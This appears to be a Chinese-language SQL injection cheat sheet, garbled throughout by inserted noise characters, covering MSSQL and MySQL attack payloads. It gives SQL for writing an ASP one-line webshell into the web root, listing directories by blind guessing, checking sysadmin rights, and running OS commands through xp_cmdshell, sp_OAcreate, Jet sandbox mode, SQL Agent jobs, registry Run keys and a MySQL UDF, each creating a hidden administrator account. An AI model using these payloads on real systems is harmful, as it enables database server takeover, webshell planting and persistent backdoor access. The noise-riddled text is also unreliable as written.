MSSQL语句导出一句话木马. s' ^. L- G, M$ w# M
首先确定网站的WEB路径
/ D% \$ v; Q! d& r6 R) N7 E;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马1 }0 ~* B- }0 D3 m Q# u
" q* b4 v. {3 w, q
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 1 t' b' q' r, S7 k, _
//将一句话木马插入表中
7 a! n3 ] u, B
6 ^; K6 o5 d6 m" }3 n! \9 b;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- , c: i8 D# B" x/ q7 P( y( A. q
//导出一个ASP文件. C/ ]7 w _0 S# N; `+ T& D
@9 j& M2 p7 Y/ d4 o. h# F
% U% |6 B' C( ^3 e. W
关于MSSQL列目录7 S$ o D4 l7 a% e7 N+ ^, s. t
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表. y0 S+ L- `4 q% }7 \0 W9 w
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表* {8 o9 c* x) D( s+ G- G
1 ~7 c* X2 ~+ r" {2 Dand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
9 k+ ?+ E- L8 B' F B5 c
. l/ u4 b; V3 ZAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段% ~* |2 P+ e+ D6 e
7 m6 ?( D5 G4 c, _. [# x6 ]
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符0 J* c" g* N( b/ y( [
: g; r" G- k9 p- [% }2 H$ v. S4 O% [0 i9 n7 [9 _ G5 ] _
数据库版本和权限查看8 I( i) i, y% i. u0 ^
and 1=(select @@VERSION) //查看详细的数据库信息.
# U4 K; q4 m5 c; R" Hand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
6 T6 l6 J: u% ^. I1 O- Hand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
; K3 Y5 v6 p) Y8 o. o7 ~. k0 J1 _1 Q9 @. y
! m" p4 p; B8 x7 D0 F+ Y
1.利用xp_cmdshell执行命令' B* f% l7 H( }- G' ?* r; g
exec master..xp_cmdshell 'net user rfire 123456 /add'2 ]5 u9 E0 O' q2 E$ P
exec master..xp_cmdshell 'net localgroup administrators rfire /add'' t2 p* M3 `6 W
! |9 s: t1 A1 f& Z' @6 c恢复xp_cmdshell存储过程# E7 M5 t U4 g7 O# ?
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'7 N0 ]$ U, P7 s( v6 X1 [! H
/ n$ K2 x+ d# \5 J1 ~/ n' B5 g$ K2 P5 t+ W3 j% F' Z
2.利用SP_OAcreate和SP_OAMETHOD执行命令3 Z- s: I; B; q0 Q k
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下( U9 ^! S) h9 u2 `% x! e( m7 J: ?
DECLARE @shell INT //建立一个@shell实体
3 p: A- [9 u7 R' o1 ?% ?EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例4 g! O! S6 ?3 m, P4 u; O5 D( N- l. f
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
6 G7 @4 b& f% U1 D M% v& p' B3 q9 s, x8 i8 v: q2 e
( Z, c. w) L2 D8 u+ V
3.利用沙盒模式
0 }1 ^& w# k# q% n3 o% A先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
1 P' Q6 Z8 L& \! v7 `% I6 j* W7 y开启沙盒模式:
9 x1 X8 v, P, [EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
2 e! E& P' [4 U: c& V4 c* N0 i, O
, b; q6 l7 h/ {0 V执行命令:
! p0 b7 @0 |, W$ ~9 r+ n0 n! `7 ZSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');& a. Y! k. _/ L) E$ [9 n0 E9 z
4 _% E( X+ H: d- N. L2 m( v& \6 l# e# R0 q9 b
4.利用SQL代理执行命令
; A1 F9 ~2 {6 E; ZEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务- j9 s! m q4 y5 `& c; S7 N! n
7 [ G0 e: o) U5 w: U& u执行命令:
# ^; ]) T" ?4 n* tuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
: ^# X5 S- B; e4 P) _( Xexec sp_add_job 'x'4 h B3 m1 W! a: k
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业; L. {8 i N5 T) a4 x+ K" P
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业2 h5 Y! h( c' a3 i( g1 z
9 X$ i9 k5 f$ J0 |" C( Z0 S" c% }$ e
% }" d6 _6 b/ k4 i
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)/ Y! g+ ]% z1 r9 X" q, T
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'. `2 ~! z0 {* P
9 S3 z! k! U* G
+ O) j3 k8 F$ h: ], B) a6.MYSQL的命令执行3 X, |* Z0 S/ {
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)1 t8 f( z$ [6 I5 M' A6 m
首先要在su.php下导出c:\windows\udf.dll
* u0 s1 w9 D9 [导出后执行创建自定义函数命令:9 t3 F% b( G2 {# p" `9 ^
Create Function cmdshell returns string soname 'udf.dll': V$ _& T; Z2 X8 i( s
执行命令
0 M6 h0 E* f) C7 O! hselect cmdshell('net user rfire 123456 /add')7 a) D$ K3 z* v0 C8 a6 F
执行后删除函数 drop function cmdshell, T; I( }# U1 T+ ^6 ~
|